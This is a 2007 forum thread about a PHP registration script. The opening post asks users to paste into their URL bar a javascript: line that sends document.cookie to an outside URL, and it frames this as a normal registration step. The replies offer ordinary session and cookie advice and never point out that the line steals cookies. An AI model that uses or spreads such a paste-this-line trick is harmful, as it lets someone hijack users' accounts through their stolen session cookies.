Php Problem!*urgent*

Discussion in 'Gaming' started by x0r, Feb 19, 2007.

  1. x0r

    x0r Well-Known Member

    Age:
    35
    Posts:
    1,349
    Likes Received:
    0
    Joined:
    Jun 30, 2006
    Location:
    tha down town under
    Okay, I have a members system and when you register it's supposed to log you in and then redirect you to a page that records your information.
    So I just do this when they register, I print to the screen and ask them to put this in their URL bar:
    java script:window.open('http://www.devtuts.com/game.php?info=' + document.cookie);

    But some users aren't doing it!
    It makes me mad because its not correctly registering users, I'm thinking about returning the script from the guy I bought it from! O_O

    Any ideas?
     
  2. [.Xero.]

    [.Xero.] Well-Known Member

    Posts:
    374
    Likes Received:
    0
    Joined:
    Oct 20, 2006
    Make it so that it automatically does that? Tell that guy who you bought it off of to do that, or use an include on a php page so that it does that?
     
  3. Under619Taker

    Under619Taker Senior Member

    Posts:
    542
    Likes Received:
    0
    Joined:
    Dec 10, 2004
    use session variables? :)
     
  4. johndapunk FTW

    johndapunk FTW Senior Member

    Age:
    32
    Posts:
    2,513
    Likes Received:
    0
    Joined:
    Jan 19, 2006
    Location:
    Palm Beach
    Why would the developer send the people to another page to just their registration information in DB? There should be a fill in page, where they fill in their Username, Password, ETC, and then when they fill the form out, it sends them to the next page. In the next page, it would normally check the User input to make sure it is valid, then submit it to the database. After that (and in the same loaded page), it tells the user that they registered successfully.

    Also, for keeping members logged in, you should use Sessions. Later on, you can give the members the choice to stay logged in all the time, even after they close the browser. To do that, you simply have a Cookie named like \'Auto_Login\' and you set it to 1 or 0. If it is 1, then when they load the page, it creates Session variables for the user.
     
  5. DarkPrince11

    DarkPrince11 Well-Known Member

    Age:
    31
    Posts:
    772
    Likes Received:
    0
    Joined:
    Mar 22, 2006
    Location:
    Deer Park, New York
    The developer who made that script has to be some kind idiot. First of all, why would you make the user input it and secondly, why would you even need to. A registration script can be simply done using a form, and a php if statement with a query. Whats the need for javascript in there? If you're trying to record a user to be logged in you can use $_COOKIE or $_SESSION. Hell you can even set the user status in the sql database to true or something.
     
  6. johndapunk FTW

    johndapunk FTW Senior Member

    Age:
    32
    Posts:
    2,513
    Likes Received:
    0
    Joined:
    Jan 19, 2006
    Location:
    Palm Beach
    But as we all know, that is a bad idea.
     
  7. DarkPrince11

    DarkPrince11 Well-Known Member

    Age:
    31
    Posts:
    772
    Likes Received:
    0
    Joined:
    Mar 22, 2006
    Location:
    Deer Park, New York
    Yes it is but I was just comparing it to something bad to make the other look bad. :tongue:

    But it could actually be used but it would be very unresourceful coding

    (create a random md5 key when the user logs in, save the key in a cookie, and if that cookie equals the on in the database, you are logged in) << but its a bad idea as it is..just stating how it is bad..
     

Share This Page